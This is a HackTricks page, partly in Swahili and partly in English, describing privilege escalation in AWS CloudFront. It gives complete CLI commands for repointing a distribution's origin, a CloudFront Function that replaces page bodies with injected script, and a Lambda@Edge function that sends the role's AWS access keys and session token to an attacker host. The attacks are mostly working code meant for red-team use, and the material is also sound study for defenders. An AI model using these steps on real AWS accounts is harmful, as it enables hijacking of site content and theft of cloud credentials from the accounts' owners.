AWS - CloudFront Privesc

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

CloudFront

cloudfront:UpdateDistribution & cloudfront:GetDistributionConfig

Mshambuliaji anayemiliki ruhusa za cloudfront:UpdateDistribution na cloudfront:GetDistributionConfig anaweza kubadilisha usanidi wa distribution ya CloudFront. Hawahitaji ruhusa kwenye S3 bucket lengwa yenyewe, ingawa shambulio huwa rahisi zaidi ikiwa bucket hiyo ina sera ya kuruhusu (permissive policy) inayoruhusu ufikiaji kutoka kwa cloudfront.amazonaws.com service principal.

Mshambuliaji hubadilisha usanidi wa origin wa distribution ili uelekeze kwenye S3 bucket nyingine au kwenye server inayodhibitiwa na mshambuliaji. Kwanza wanachukua usanidi wa sasa wa distribution:

bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json

Kisha wanahariri current-config.json ili kuelekeza origin kwenye rasilimali mpya — kwa mfano, S3 bucket tofauti:

bash
...
"Origins": {
"Quantity": 1,
"Items": [
{
"Id": "<origin-id>",
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
"OriginPath": "",
"CustomHeaders": {
"Quantity": 0
},
"S3OriginConfig": {
"OriginAccessIdentity": "",
"OriginReadTimeout": 30
},
"ConnectionAttempts": 3,
"ConnectionTimeout": 10,
"OriginShield": {
"Enabled": false
},
"OriginAccessControlId": "E30N32Y4IBZ971"
}
]
},
...

Hatimaye, tumia usanidi uliobadilishwa (lazima utoe ETag ya sasa unaposasisha):

bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction

An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.

The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:

bash
function handler(event) {
var request = event.request;
var response = event.response;
// Create a new body with malicious JavaScript
var maliciousBody = `
<!DOCTYPE html>
<html>
<head>
<title>Compromised Page</title>
</head>
<body>
<h1>Original Content</h1>
<p>This page has been modified by CloudFront Functions</p>
<script>
// Malicious JavaScript
alert('CloudFront Function Code Injection Successful!');
</script>
</body>
</html>
`;
// Replace the body entirely
response.body = { encoding: "text", data: maliciousBody };
// Update headers
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
response.headers["content-length"] = {
value: maliciousBody.length.toString(),
};
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
return response;
}

Commands to create, publish and attach the function:

bash
# Unda function yenye madhara katika CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
}' --function-code fileb://malicious-function.js

# Pata ETag ya function katika hatua ya DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text

# Chapisha function kwenye stage ya LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>

Add the function to the distribution configuration (FunctionAssociations):

bash
"FunctionAssociations": {
"Quantity": 1,
"Items": [
{
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
"EventType": "viewer-response"
}
]
}

Finally update the distribution configuration (remember to supply the current ETag):

bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG

lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole & cloudfront:UpdateDistribution

An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.

The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:

bash
// malicious-lambda-edge.js
exports.handler = async (event) => {
// Obtain role credentials
const credentials = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
sessionToken: process.env.AWS_SESSION_TOKEN,
};
// Send credentials to attacker's server
try {
await fetch("https://<attacker-ip>/steal-credentials", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(credentials)
});
} catch (error) {
console.error("Error sending credentials:", error);
}
if (event.Records && event.Records[0] && event.Records[0].cf) {
// Modify response headers
const response = event.Records[0].cf.response;
response.headers["x-credential-theft"] = [
{
key: "X-Credential-Theft",
value: "Successful",
},
];
return response;
}
return {
statusCode: 200,
body: JSON.stringify({ message: "Credentials stolen" })
};
};
bash
# Pakia function ya Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js

# Unda function ya Lambda@Edge kwa role yenye ruhusa
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
--role <privileged-role-arn> \
--handler malicious-lambda-edge.handler \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>

# Chapisha toleo la function
aws lambda publish-version --function-name malicious-lambda-edge --region <region>

Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:

bash
"LambdaFunctionAssociations": {
"Quantity": 1,
"Items": [
{
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
"EventType": "viewer-response",
"IncludeBody": false
}
]
}
bash
# Tumia mipangilio ya distribution iliyosasishwa (lazima utumie ETag ya sasa)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)

aws cloudfront update-distribution \
--id <distribution-id> \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG

# Chochea function kwa kuomba distribution
curl -v https://<distribution-domain>.cloudfront.net/

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks